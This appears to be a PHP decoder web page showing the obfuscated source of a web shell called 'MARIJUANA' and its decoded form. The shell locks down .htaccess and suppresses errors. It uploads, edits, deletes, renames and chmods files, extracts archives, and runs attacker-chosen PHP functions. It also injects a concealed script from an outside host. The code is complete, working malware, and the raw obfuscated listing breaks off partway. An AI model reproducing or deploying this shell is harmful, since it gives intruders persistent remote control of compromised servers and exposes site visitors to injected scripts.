Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $lELZLj = substr($_SERVER["\120\x48\120\137\123\105\114\x46"], strripos($_SERVER[..

Decoded Output download

<?php 
 
$lELZLj = substr($_SERVER["PHP_SELF"], strripos($_SERVER["PHP_SELF"], "/") + 1); file_put_contents(".htaccess", base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4NCiBPcmRlciBhbGxvdyxkZW55DQogRGVueSBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg0KPEZpbGVzTWF0Y2ggIl4o") . $lELZLj . base64_decode("KSQiPg0KIE9yZGVyIGFsbG93LGRlbnkNCiBBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg==")); chmod(".htaccess", 0444); header("X-XSS-Protection: 0"); ob_start(); set_time_limit(0); error_reporting(0); ini_set("display_errors", FALSE); $lELZLW = ["7068705f756e616d65", "70687076657273696f6e", "6368646972", "676574637764", "707265675f73706c6974", "636f7079", "66696c655f6765745f636f6e74656e7473", "6261736536345f6465636f6465", "69735f646972", "6f625f656e645f636c65616e28293b", "756e6c696e6b", "6d6b646972", "63686d6f64", "7363616e646972", "7374725f7265706c616365", "68746d6c7370656369616c6368617273", "7661725f64756d70", "666f70656e", "667772697465", "66636c6f7365", "64617465", "66696c656d74696d65", "737562737472", "737072696e7466", "66696c657065726d73", "746f756368", "66696c655f657869737473", "72656e616d65", "69735f6172726179", "69735f6f626a656374", "737472706f73", "69735f7772697461626c65", "69735f7265616461626c65", "737472746f74696d65", "66696c6573697a65", "726d646972", "6f625f6765745f636c65616e", "7265616466696c65", "617373657274"]; $lELZLZ = count($lELZLW); for ($lELZLR = 0; $lELZLR < $lELZLZ; $lELZLR++) { $lELZLL[] = uhex($lELZLW[$lELZLR]); } echo " <!DOCTYPE html> <html dir="auto" lang="en-US"> <head> <meta charset="UTF-8"> <meta name="robots" content="NOINDEX, NOFOLLOW"> <title>MARIJUANA</title> <link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" /> <link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css"> <script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script> </head> <body> <header> <div class="y x"> <a class="ajx" href=""; echo basename($_SERVER["PHP_SELF"]); echo ""> MARIJuANA </a> </div> <div class="q x w"> &#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212; </div> </header> <article> <div class="i"> <i class="far fa-hdd"></i> "; echo $lELZLL[0](); echo " <br /> <i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT :</b> "; echo $_SERVER["SERVER_SOFTWARE"]; echo " <b>PHP :</b> "; echo $lELZLL[1](); echo " <br /> <i class="far fa-folder"></i> "; if (isset($_GET["d"])) { goto lyMWZjZ; } $lELZLn = $lELZLL[3](); goto lyMWZjR; lyMWZjZ: $lELZLn = uhex($_GET["d"]); $lELZLL[2](uhex($_GET["d"])); lyMWZjR: $lELZLx = $lELZLL[4]("/(\|\/)/", $lELZLn); foreach ($lELZLx as $lELZLy => $lELZLV) { goto lyMWZjO; lyMWZjE: continue; goto lyMWZWj; lyMWZjD: if (!($lELZLV == '')) { goto lyMWZjy; } goto lyMWZjE; lyMWZjU: lyMWZjx: goto lyMWZjD; lyMWZjq: echo "<a class="ajx" href="?d=2f">/</a>"; goto lyMWZjU; lyMWZWR: echo "">" . $lELZLV . "</a>/"; goto lyMWZWL; lyMWZWj: lyMWZjy: goto lyMWZWW; lyMWZWZ: for ($lELZLR = 0; $lELZLR <= $lELZLy; $lELZLR++) { echo hex($lELZLx[$lELZLR]); if (!($lELZLR != $lELZLy)) { goto lyMWZjM; } echo "2f"; lyMWZjM: } goto lyMWZWR; lyMWZjO: if (!($lELZLV == '' && $lELZLy == 0)) { goto lyMWZjx; } goto lyMWZjq; lyMWZWW: echo "<a class="ajx" href="?d="; goto lyMWZWZ; lyMWZWL: } echo " <br /> </div> <div class="u"> "; echo $_SERVER["SERVER_ADDR"]; echo " <i class="fas fa-link"></i> <br /> <br /> <form method="post" enctype="multipart/form-data"> <label class="l w"> <input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD </label>&nbsp; </form> "; $lELZLa = ["<script>$.notify("", "", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>"]; $lELZLM = $lELZLa[0] . "OK!" . $lELZLa[1]; $lELZLO = $lELZLa[0] . "ER!" . $lELZLa[1]; if (!isset($_FILES["n"])) { goto lyMWZWa; } $lELZLq = $_FILES["n"]["name"]; $lELZLU = count($lELZLq); for ($lELZLR = 0; $lELZLR < $lELZLU; $lELZLR++) { if ($lELZLL[5]($_FILES["n"]["tmp_name"][$lELZLR], $lELZLq[$lELZLR])) { goto lyMWZWy; } echo $lELZLO; goto lyMWZWV; lyMWZWy: echo $lELZLM; lyMWZWV: } lyMWZWa: echo " </div> "; $lELZLD = "<table cellspacing="0" cellpadding="7" width="100%"> <thead> <tr> <th>"; $lELZLE = "</th> </tr> </thead> <tbody> <tr> <td></td> </tr> <tr> <td class="x">"; $lELZnj = "</td> </tr> </tbody> </table>"; $lELZnW = "<br /> <br /> <input type="submit" class="w" value="&nbsp;OK&nbsp;" /> </form>"; if (isset($_GET["s"])) { goto lyMWZxL; } if (isset($_GET["y"])) { goto lyMWZxn; } if (isset($_GET["e"])) { goto lyMWZxx; } if (isset($_GET["x"])) { goto lyMWZxy; } if (isset($_GET["t"])) { goto lyMWZxV; } if (isset($_GET["k"])) { goto lyMWZxa; } if (isset($_GET["l"])) { goto lyMWZxM; } if (isset($_GET["q"])) { goto lyMWZxO; } if (isset($_GET["n"])) { goto lyMWZxq; } if (isset($_GET["r"])) { goto lyMWZxU; } if (isset($_GET["z"])) { goto lyMWZxD; } echo "<table cellspacing="0" cellpadding="7" width="100%"> <thead> <tr> <th width="44%">[ NAME ]</th> <th width="11%">[ SIZE ]</th> <th width="17%">[ PERM ]</th> <th width="17%">[ DATE ]</th> <th width="11%">[ ACT ]</th> </tr> </thead> <tbody> <tr> <td> <a class="ajx" href="?d=" . hex($lELZLn) . "&n">+FILE</a> <a class="ajx" href="?d=" . hex($lELZLn) . "&l">+DIR</a> </td> </tr> "; $lELZna = ''; $lELZnM = ''; $lELZnO = $lELZLL[13]($lELZLn); if (!($lELZLL[28]($lELZnO) || $lELZLL[29]($lELZnO))) { goto lyMWZxZ; } foreach ($lELZnO as $lELZnq) { goto lyMWZLn; lyMWZLn: $lELZnU = $lELZLL[14]("\", "/", $lELZLn); goto lyMWZLx; lyMWZxj: lyMWZLL: goto lyMWZxW; lyMWZLU: if (!$lELZLL[32]("{$lELZLn}/{$lELZnq}")) { goto lyMWZLW; } goto lyMWZLD; lyMWZnD: if (!($lELZnq != "." && $lELZnq != "..")) { goto lyMWZLL; } goto lyMWZnE; lyMWZnO: lyMWZLZ: goto lyMWZnq; lyMWZnj: lyMWZLj: goto lyMWZnW; lyMWZnq: $lELZxj = round($lELZxj / 1024, 2) . " MB"; goto lyMWZnU; lyMWZnL: $lELZnE = " h"; goto lyMWZnn; lyMWZnE: $lELZLL[8]("{$lELZLn}/{$lELZnq}") ? $lELZna .= "<tr class="r"> <td> <i class="far fa-folder m"></i> <a class="ajx" href="?d=" . hex($lELZnU) . hex("/" . $lELZnq) . "">" . $lELZnq . "</a> </td> <td class="x"> dir </td> <td class="x"> <a class="ajx" . $lELZnE . "" href="?d=" . hex($lELZnU) . "&k=" . hex($lELZnq) . "">" . x("{$lELZLn}/{$lELZnq}") . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&t=" . hex($lELZnq) . "">" . $lELZLL[20]("Y-m-d H:i", $lELZLL[21]("{$lELZLn}/{$lELZnq}")) . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&r=" . hex($lELZnq) . "">R</a> <a href="?d=" . hex($lELZnU) . "&x=" . hex($lELZnq) . "">D</a> </td> </tr> " : ($lELZnM .= "<tr class="r"> <td> <i class="far fa-file m"></i>&thinsp; <a class="ajx" href="?d=" . hex($lELZnU) . "&s=" . hex($lELZnq) . "">" . $lELZnq . "</a> </td> <td class="x"> " . $lELZxj . " </td> <td class="x"> <a class="ajx" . $lELZnE . "" href="?d=" . hex($lELZnU) . "&k=" . hex($lELZnq) . "">" . x("{$lELZLn}/{$lELZnq}") . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&t=" . hex($lELZnq) . "">" . $lELZLL[20]("Y-m-d H:i", $lELZLL[21]("{$lELZLn}/{$lELZnq}")) . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($lELZnU) . "&r=" . hex($lELZnq) . "">R</a> <a class="ajx" href="?d=" . hex($lELZnU) . "&e=" . hex($lELZnq) . "">E</a> <a href="?d=" . hex($lELZnU) . "&g=" . hex($lELZnq) . "">G</a> " . $lELZnD . " <a href="?d=" . hex($lELZnU) . "&x=" . hex($lELZnq) . "">D</a> </td> </tr> "); goto lyMWZxj; lyMWZLy: $lELZnD = "<a href="?d=" . hex($lELZnU) . "&z=" . hex($lELZnq) . "">U</a>"; goto lyMWZLV; lyMWZLM: $lELZnD = ''; goto lyMWZLO; lyMWZLE: goto lyMWZRE; goto lyMWZnj; lyMWZLV: goto lyMWZRD; goto lyMWZLa; lyMWZLq: if ($lELZLL[31]("{$lELZLn}/{$lELZnq}")) { goto lyMWZLj; } goto lyMWZLU; lyMWZnx: $lELZxj = $lELZLL[34]("{$lELZLn}/{$lELZnq}") / 1024; goto lyMWZny; lyMWZLx: if (!$lELZLL[30]($lELZnq, ".zip")) { goto lyMWZRU; } goto lyMWZLy; lyMWZnM: goto lyMWZLR; goto lyMWZnO; lyMWZnV: if ($lELZxj >= 1024) { goto lyMWZLZ; } goto lyMWZna; lyMWZna: $lELZxj = $lELZxj . " KB"; goto lyMWZnM; lyMWZny: $lELZxj = round($lELZxj, 3); goto lyMWZnV; lyMWZnU: lyMWZLR: goto lyMWZnD; lyMWZLO: lyMWZRD: goto lyMWZLq; lyMWZLa: lyMWZRU: goto lyMWZLM; lyMWZnn: lyMWZRE: goto lyMWZnx; lyMWZnW: $lELZnE = ''; goto lyMWZnZ; lyMWZLD: $lELZnE = " w"; goto lyMWZLE; lyMWZnZ: goto lyMWZRE; goto lyMWZnR; lyMWZnR: lyMWZLW: goto lyMWZnL; lyMWZxW: } lyMWZxZ: echo $lELZna; echo $lELZnM; echo "</tbody> <tfoot> <tr> <th class="et"> <a class="ajx" href="?d=" . hex($lELZnU) . "&y">REQUEST</a> <a href="?d=" . hex($lELZnU) . "&q">EXIT</a> </th> <th class="et" width="11%"></th> <th class="et" width="17%"></th> <th class="et" width="17%"></th> <th class="et" width="11%"></th> </tr> </tfoot> </table>"; goto lyMWZxR; lyMWZxL: echo $lELZLD . uhex($_GET["s"]) . $lELZLE . " <textarea readonly="yes">" . $lELZLL[15]($lELZLL[6](uhex($_GET["s"]))) . "</textarea> <br /> <br /> <input onclick="location.href='?d=" . $_GET["d"] . "&e=" . $_GET["s"] . "'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" /> " . $lELZnj; goto lyMWZxR; lyMWZxn: echo $lELZLD . "REQUEST" . $lELZLE . " <form method="post"> <input class="x" type="text" name="1" />&nbsp;&nbsp; <input class="x" type="text" name="2" /> " . $lELZnW . " <br /> <textarea readonly="yes">"; if (!isset($_POST["2"])) { goto lyMWZWM; } echo $lELZLL[15](dre($_POST["1"], $_POST["2"])); lyMWZWM: echo "</textarea> " . $lELZnj; goto lyMWZxR; lyMWZxx: echo $lELZLD . uhex($_GET["e"]) . $lELZLE . " <form method="post"> <textarea name="e" class="o">" . $lELZLL[15]($lELZLL[6](uhex($_GET["e"]))) . "</textarea> <br /> <br /> <span class="w">BASE64</span> : <select id="b64" name="b64"> <option value="0">NO</option> <option value="1">YES</option> </select> " . $lELZnW . " " . $lELZnj . " <script> $("#b64").change(function() { if($("#b64 option:selected").val() == 0) { var X = $("textarea").val(); var Z = atob(X); $("textarea").val(Z); } else { var N = $("textarea").val(); var I = btoa(N); $("textarea").val(I); } }); </script>"; if (!isset($_POST["e"])) { goto lyMWZWE; } if ($_POST["b64"] == "1") { goto lyMWZWO; } $lELZnZ = $_POST["e"]; goto lyMWZWq; lyMWZWO: $lELZnZ = $lELZLL[7]($_POST["e"]); lyMWZWq: $lELZnR = $lELZLL[17](uhex($_GET["e"]), "w"); if ($lELZLL[18]($lELZnR, $lELZnZ)) { goto lyMWZWU; } ER(); goto lyMWZWD; lyMWZWU: OK(); lyMWZWD: $lELZLL[19]($lELZnR); lyMWZWE: goto lyMWZxR; lyMWZxy: rec(uhex($_GET["x"])); if ($lELZLL[26](uhex($_GET["x"]))) { goto lyMWZZj; } OK(); goto lyMWZZW; lyMWZZj: ER(); lyMWZZW: goto lyMWZxR; lyMWZxV: echo $lELZLD . uhex($_GET["t"]) . $lELZLE . " <form action="" method="post"> <input name="t" class="x" type="text" value="" . $lELZLL[20]("Y-m-d H:i", $lELZLL[21](uhex($_GET["t"]))) . ""> " . $lELZnW . " " . $lELZnj; if (empty($_POST["t"])) { goto lyMWZZx; } $lELZnL = $lELZLL[33]($_POST["t"]); if ($lELZnL) { goto lyMWZZL; } ER(); goto lyMWZZn; lyMWZZL: if (!$lELZLL[25](uhex($_GET["t"]), $lELZnL, $lELZnL)) { goto lyMWZZZ; } OK(); goto lyMWZZR; lyMWZZZ: ER(); lyMWZZR: lyMWZZn: lyMWZZx: goto lyMWZxR; lyMWZxa: echo $lELZLD . uhex($_GET["k"]) . $lELZLE . " <form action="" method="post"> <input name="b" class="x" type="text" value="" . $lELZLL[22]($lELZLL[23]("%o", $lELZLL[24](uhex($_GET["k"]))), -4) . ""> " . $lELZnW . " " . $lELZnj; if (empty($_POST["b"])) { goto lyMWZZO; } $lELZnn = $_POST["b"]; $lELZnx = 0; for ($lELZLR = strlen($lELZnn) - 1; $lELZLR >= 0; --$lELZLR) { $lELZnx += (int) $lELZnn[$lELZLR] * pow(8, strlen($lELZnn) - $lELZLR - 1); } if (!$lELZLL[12](uhex($_GET["k"]), $lELZnx)) { goto lyMWZZa; } OK(); goto lyMWZZM; lyMWZZa: ER(); lyMWZZM: lyMWZZO: goto lyMWZxR; lyMWZxM: echo $lELZLD . "+DIR" . $lELZLE . " <form action="" method="post"> <input name="l" class="x" type="text" value=""> " . $lELZnW . " " . $lELZnj; if (!isset($_POST["l"])) { goto lyMWZZD; } if (!$lELZLL[11]($_POST["l"])) { goto lyMWZZq; } OK(); goto lyMWZZU; lyMWZZq: ER(); lyMWZZU: lyMWZZD: goto lyMWZxR; lyMWZxO: if ($lELZLL[10](__FILE__)) { goto lyMWZZE; } echo $lELZLO; goto lyMWZRj; lyMWZZE: $lELZLL[38]($lELZLL[9]); header("Location: " . basename($_SERVER["PHP_SELF"]) . ''); exit; lyMWZRj: goto lyMWZxR; lyMWZxq: echo $lELZLD . "+FILE" . $lELZLE . " <form action="" method="post"> <input name="n" class="x" type="text" value=""> " . $lELZnW . " " . $lELZnj; if (!isset($_POST["n"])) { goto lyMWZRR; } if (!$lELZLL[25]($_POST["n"])) { goto lyMWZRW; } OK(); goto lyMWZRZ; lyMWZRW: ER(); lyMWZRZ: lyMWZRR: goto lyMWZxR; lyMWZxU: echo $lELZLD . uhex($_GET["r"]) . $lELZLE . " <form action="" method="post"> <input name="r" class="x" type="text" value="" . uhex($_GET["r"]) . ""> " . $lELZnW . " " . $lELZnj; if (!isset($_POST["r"])) { goto lyMWZRV; } if ($lELZLL[26]($_POST["r"])) { goto lyMWZRx; } if ($lELZLL[27](uhex($_GET["r"]), $_POST["r"])) { goto lyMWZRL; } ER(); goto lyMWZRn; lyMWZRL: OK(); lyMWZRn: goto lyMWZRy; lyMWZRx: ER(); lyMWZRy: lyMWZRV: goto lyMWZxR; lyMWZxD: $lELZny = new ZipArchive(); $lELZnV = $lELZny->open(uhex($_GET["z"])); if ($lELZnV === TRUE) { goto lyMWZRa; } ER(); goto lyMWZRM; lyMWZRa: $lELZny->extractTo(uhex($_GET["d"])); $lELZny->close(); OK(); lyMWZRM: lyMWZxR: echo " </article> <footer class="x"> &copy;TheAlmightyZeus </footer> "; if (isset($_GET["1"])) { goto lyMWZyj; } if (isset($_GET["0"])) { goto lyMWZyW; } NULL; goto lyMWZxE; lyMWZyj: echo $lELZLM; goto lyMWZxE; lyMWZyW: echo $lELZLO; lyMWZxE: echo " <script> $(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})}); </script> </body> </html> "; function rec($lELZnM) { goto lyMWZyn; lyMWZyn: global $lELZLL; goto lyMWZyx; lyMWZyy: return; goto lyMWZyV; lyMWZyO: goto lyMWZyL; goto lyMWZyq; lyMWZyD: $lELZLL[35]($lELZnM); goto lyMWZyE; lyMWZyV: lyMWZyZ: goto lyMWZya; lyMWZyx: if (!(trim(pathinfo($lELZnM, PATHINFO_BASENAME), ".") === '')) { goto lyMWZyZ; } goto lyMWZyy; lyMWZyE: lyMWZyL: goto lyMWZVj; lyMWZyM: $lELZLL[10]($lELZnM); goto lyMWZyO; lyMWZyU: array_map("rec", glob($lELZnM . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); goto lyMWZyD; lyMWZya: if ($lELZLL[8]($lELZnM)) { goto lyMWZyR; } goto lyMWZyM; lyMWZyq: lyMWZyR: goto lyMWZyU; lyMWZVj: } function dre($lELZxW, $lELZxZ) { goto lyMWZVW; lyMWZVW: global $lELZLL; goto lyMWZVZ; lyMWZVL: return $lELZLL[36](); goto lyMWZVn; lyMWZVZ: ob_start(); goto lyMWZVR; lyMWZVR: $lELZLL[16]($lELZxW($lELZxZ)); goto lyMWZVL; lyMWZVn: } function hex($lELZxR) { goto lyMWZVV; lyMWZVV: $lELZxL = ''; goto lyMWZVa; lyMWZVa: for ($lELZLR = 0; $lELZLR < strlen($lELZxR); $lELZLR++) { $lELZxL .= dechex(ord($lELZxR[$lELZLR])); } goto lyMWZVM; lyMWZVM: return $lELZxL; goto lyMWZVO; lyMWZVO: } function uhex($lELZxL) { goto lyMWZVD; lyMWZVE: for ($lELZLR = 0; $lELZLR < strlen($lELZxL) - 1; $lELZLR += 2) { $lELZxR .= chr(hexdec($lELZxL[$lELZLR] . $lELZxL[$lELZLR + 1])); } goto lyMWZaj; lyMWZVD: $lELZxR = ''; goto lyMWZVE; lyMWZaj: return $lELZxR; goto lyMWZaW; lyMWZaW: } function OK() { goto lyMWZaZ; lyMWZaL: header("Location: ?d=" . hex($lELZLn) . "&1"); goto lyMWZan; lyMWZaR: $lELZLL[38]($lELZLL[9]); goto lyMWZaL; lyMWZan: exit; goto lyMWZax; lyMWZaZ: global $lELZLL, $lELZLn; goto lyMWZaR; lyMWZax: } function ER() { goto lyMWZay; lyMWZaM: exit; goto lyMWZaO; lyMWZay: global $lELZLL, $lELZLn; goto lyMWZaV; lyMWZaV: $lELZLL[38]($lELZLL[9]); goto lyMWZaa; lyMWZaa: header("Location: ?d=" . hex($lELZLn) . "&0"); goto lyMWZaM; lyMWZaO: } function x($lELZnq) { goto lyMWZML; lyMWZqV: $lELZxn .= $lELZnn & 0x10 ? "w" : "-"; goto lyMWZqa; lyMWZqL: $lELZxn .= $lELZnn & 0x100 ? "r" : "-"; goto lyMWZqn; lyMWZOR: $lELZxn = "l"; goto lyMWZOL; lyMWZMV: if (($lELZnn & 0x8000) == 0x8000) { goto lyMWZaE; } goto lyMWZMa; lyMWZOa: $lELZxn = "b"; goto lyMWZOM; lyMWZOU: goto lyMWZaq; goto lyMWZOD; lyMWZOq: $lELZxn = "d"; goto lyMWZOU; lyMWZOD: lyMWZMZ: goto lyMWZOE; lyMWZME: lyMWZaU: goto lyMWZOj; lyMWZOx: $lELZxn = "-"; goto lyMWZOy; lyMWZOZ: lyMWZaD: goto lyMWZOR; lyMWZMa: if (($lELZnn & 0x6000) == 0x6000) { goto lyMWZMj; } goto lyMWZMM; lyMWZOj: $lELZxn = "s"; goto lyMWZOW; lyMWZMn: $lELZnn = $lELZLL[24]($lELZnq); goto lyMWZMx; lyMWZMD: goto lyMWZaq; goto lyMWZME; lyMWZOO: lyMWZMW: goto lyMWZOq; lyMWZqq: $lELZxn .= $lELZnn & 0x1 ? $lELZnn & 0x200 ? "t" : "x" : ($lELZnn & 0x200 ? "T" : "-"); goto lyMWZqU; lyMWZOV: lyMWZMj: goto lyMWZOa; lyMWZML: global $lELZLL; goto lyMWZMn; lyMWZqM: $lELZxn .= $lELZnn & 0x4 ? "r" : "-"; goto lyMWZqO; lyMWZqj: goto lyMWZaq; goto lyMWZqW; lyMWZOE: $lELZxn = "c"; goto lyMWZqj; lyMWZMO: if (($lELZnn & 0x2000) == 0x2000) { goto lyMWZMZ; } goto lyMWZMq; lyMWZOW: goto lyMWZaq; goto lyMWZOZ; lyMWZqU: return $lELZxn; goto lyMWZqD; lyMWZOM: goto lyMWZaq; goto lyMWZOO; lyMWZOL: goto lyMWZaq; goto lyMWZOn; lyMWZqW: lyMWZMR: goto lyMWZqZ; lyMWZqa: $lELZxn .= $lELZnn & 0x8 ? $lELZnn & 0x400 ? "s" : "x" : ($lELZnn & 0x400 ? "S" : "-"); goto lyMWZqM; lyMWZqx: $lELZxn .= $lELZnn & 0x40 ? $lELZnn & 0x800 ? "s" : "x" : ($lELZnn & 0x800 ? "S" : "-"); goto lyMWZqy; lyMWZqR: lyMWZaq: goto lyMWZqL; lyMWZqy: $lELZxn .= $lELZnn & 0x20 ? "r" : "-"; goto lyMWZqV; lyMWZMU: $lELZxn = "u"; goto lyMWZMD; lyMWZMy: if (($lELZnn & 0xa000) == 0xa000) { goto lyMWZaD; } goto lyMWZMV; lyMWZqn: $lELZxn .= $lELZnn & 0x80 ? "w" : "-"; goto lyMWZqx; lyMWZMx: if (($lELZnn & 0xc000) == 0xc000) { goto lyMWZaU; } goto lyMWZMy; lyMWZOn: lyMWZaE: goto lyMWZOx; lyMWZMM: if (($lELZnn & 0x4000) == 0x4000) { goto lyMWZMW; } goto lyMWZMO; lyMWZqZ: $lELZxn = "p"; goto lyMWZqR; lyMWZOy: goto lyMWZaq; goto lyMWZOV; lyMWZMq: if (($lELZnn & 0x1000) == 0x1000) { goto lyMWZMR; } goto lyMWZMU; lyMWZqO: $lELZxn .= $lELZnn & 0x2 ? "w" : "-"; goto lyMWZqq; lyMWZqD: } if (!isset($_GET["g"])) { goto lyMWZqE; } $lELZLL[38]($lELZLL[9]); header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $lELZLL[34](uhex($_GET["g"]))); header("Content-disposition: attachment; filename="" . uhex($_GET["g"]) . """); $lELZLL[37](uhex($_GET["g"])); lyMWZqE: echo " <SCRIPT SRC=&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x6c&#x6f&#x63&#x61&#x6c&#x72&#x6f&#x6f&#x74&#x2e&#x6e&#x65&#x74&#x2f&#x69&#x62&#x6e&#x65&#x6c&#x65&#x72&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT>"; ?>

Did this file decode correctly?

Original Code

<?php

$lELZLj = substr($_SERVER["\120\x48\120\137\123\105\114\x46"], strripos($_SERVER["\x50\x48\x50\x5f\123\105\114\x46"], "\57") + 1); file_put_contents("\56\x68\x74\141\x63\143\145\x73\x73", base64_decode("\x50\105\x5a\x70\x62\x47\126\172\124\x57\106\60\x59\62\x67\147\111\151\64\157\143\110\x6c\70\x5a\130\150\x6c\146\110\x42\157\143\103\153\x6b\111\x6a\64\116\103\151\x42\x50\143\155\x52\154\x63\x69\102\x68\x62\107\x78\166\144\x79\x78\x6b\132\127\x35\x35\x44\121\157\x67\122\107\x56\165\x65\x53\102\155\143\155\71\x74\111\x47\106\x73\x62\101\60\113\x50\x43\71\107\141\x57\x78\x6c\143\60\x31\x68\144\x47\x4e\157\120\147\x30\113\120\105\x5a\160\142\107\126\172\x54\x57\106\60\x59\62\147\x67\111\x6c\x34\157") . $lELZLj . base64_decode("\113\x53\x51\x69\120\x67\60\113\111\105\71\171\132\x47\126\171\x49\107\106\163\x62\x47\71\63\114\107\x52\x6c\x62\x6e\153\116\x43\x69\x42\102\x62\107\x78\166\x64\x79\102\x6d\143\x6d\71\164\111\107\x46\x73\x62\101\x30\113\x50\103\71\x47\141\127\170\x6c\x63\60\61\150\144\107\x4e\x6f\120\147\75\75")); chmod("\x2e\150\x74\x61\x63\143\x65\x73\x73", 0444); header("\x58\55\130\x53\123\55\120\x72\x6f\164\145\x63\x74\151\x6f\x6e\x3a\x20\x30"); ob_start(); set_time_limit(0); error_reporting(0); ini_set("\x64\151\x73\x70\154\141\x79\x5f\x65\x72\x72\x6f\162\x73", FALSE); $lELZLW = ["\67\x30\x36\70\x37\x30\65\x66\67\65\x36\x65\66\61\x36\x64\66\x35", "\67\x30\x36\70\x37\60\x37\x36\x36\65\67\x32\x37\63\66\x39\x36\x66\66\x65", "\66\x33\66\70\66\64\66\71\x37\x32", "\66\67\66\x35\x37\64\66\x33\x37\x37\66\64", "\x37\60\67\62\x36\65\x36\x37\x35\146\x37\x33\x37\60\66\143\x36\71\67\64", "\x36\x33\66\146\67\60\67\71", "\66\x36\x36\x39\x36\x63\66\x35\x35\x66\x36\67\66\x35\67\x34\65\x66\66\x33\66\146\66\145\67\64\66\65\x36\x65\x37\64\x37\x33", "\x36\62\66\61\x37\x33\66\65\x33\66\x33\64\65\146\66\x34\x36\x35\66\x33\66\x66\x36\64\66\65", "\x36\71\x37\x33\x35\x66\x36\x34\x36\71\x37\x32", "\x36\146\66\x32\65\x66\66\x35\66\x65\66\64\65\146\x36\63\x36\x63\66\65\x36\61\x36\x65\62\70\x32\x39\63\x62", "\x37\65\x36\x65\66\x63\x36\71\x36\145\x36\142", "\x36\x64\x36\x62\x36\x34\x36\x39\x37\x32", "\x36\63\66\x38\x36\x64\x36\x66\66\x34", "\67\x33\x36\63\66\61\66\145\x36\x34\x36\71\x37\x32", "\x37\x33\67\64\x37\62\x35\x66\67\62\66\x35\x37\60\x36\143\x36\x31\66\x33\x36\x35", "\66\x38\x37\x34\x36\x64\x36\143\x37\x33\x37\60\66\x35\66\x33\66\71\66\x31\66\x63\66\63\66\x38\66\61\x37\x32\x37\x33", "\67\x36\x36\x31\x37\x32\x35\x66\x36\64\67\x35\x36\144\x37\x30", "\x36\x36\66\146\x37\x30\x36\65\x36\145", "\x36\66\x37\67\x37\62\x36\x39\67\x34\66\65", "\66\x36\x36\x33\x36\143\x36\146\x37\x33\66\x35", "\x36\64\x36\61\67\64\66\65", "\66\x36\66\x39\66\x63\x36\65\66\144\x37\x34\66\x39\66\144\x36\x35", "\x37\x33\67\65\x36\x32\67\63\67\64\x37\x32", "\67\x33\x37\60\67\62\66\71\x36\145\67\64\66\x36", "\x36\x36\x36\x39\x36\143\x36\65\67\x30\66\65\67\62\x36\144\67\63", "\x37\64\x36\x66\x37\x35\x36\63\x36\x38", "\x36\66\x36\x39\66\143\x36\65\65\146\x36\x35\67\x38\66\x39\67\x33\67\64\67\63", "\x37\x32\66\x35\66\x65\66\61\x36\144\x36\x35", "\x36\x39\x37\63\x35\146\x36\x31\67\62\67\x32\66\x31\67\x39", "\66\x39\x37\63\x35\146\x36\x66\x36\62\x36\x61\66\x35\66\63\67\64", "\x37\63\x37\x34\67\x32\x37\x30\x36\146\x37\63", "\66\x39\x37\x33\x35\x66\x37\x37\67\62\x36\71\x37\x34\66\61\66\x32\x36\143\x36\65", "\x36\x39\x37\63\65\146\67\x32\x36\x35\66\x31\x36\x34\66\x31\66\x32\x36\x63\66\65", "\67\63\x37\x34\67\x32\x37\x34\66\146\x37\64\x36\x39\66\x64\x36\x35", "\x36\x36\x36\71\66\x63\66\x35\67\x33\66\71\67\x61\66\65", "\x37\x32\x36\x64\66\x34\x36\x39\67\62", "\x36\146\x36\x32\65\146\x36\x37\66\x35\x37\x34\x35\x66\x36\x33\66\143\66\x35\66\x31\x36\145", "\67\x32\x36\x35\66\x31\x36\64\x36\66\x36\x39\x36\x63\x36\65", "\66\x31\x37\x33\x37\63\x36\65\x37\x32\67\64"]; $lELZLZ = count($lELZLW); for ($lELZLR = 0; $lELZLR < $lELZLZ; $lELZLR++) { $lELZLL[] = uhex($lELZLW[$lELZLR]); } echo "\x20\x3c\41\x44\x4f\103\124\x59\x50\x45\40\x68\164\x6d\154\x3e\40\x3c\150\164\x6d\x6c\40\144\x69\162\75\x22\141\x75\164\157\x22\x20\x6c\x61\x6e\147\75\x22\145\156\55\x55\123\x22\76\x20\x3c\150\x65\141\x64\x3e\40\x3c\155\145\164\141\x20\143\150\x61\x72\x73\145\164\75\42\x55\124\x46\55\70\42\76\40\x3c\155\145\164\141\40\156\x61\155\145\x3d\x22\x72\x6f\x62\157\x74\x73\42\40\x63\157\156\x74\x65\x6e\164\75\42\x4e\x4f\x49\x4e\104\105\130\x2c\40\116\117\x46\117\x4c\x4c\117\127\42\76\x20\x3c\x74\151\164\x6c\145\76\x4d\x41\122\x49\x4a\125\101\116\x41\x3c\57\x74\151\x74\x6c\145\76\x20\x3c\154\151\x6e\153\40\162\145\x6c\75\x22\151\143\157\x6e\42\40\x68\162\x65\146\x3d\x22\57\x2f\x30\170\65\x61\64\65\x35\x35\x35\63\56\147\151\164\150\x75\142\x2e\151\x6f\57\x4d\x41\x52\111\x4a\x55\x41\116\101\57\x69\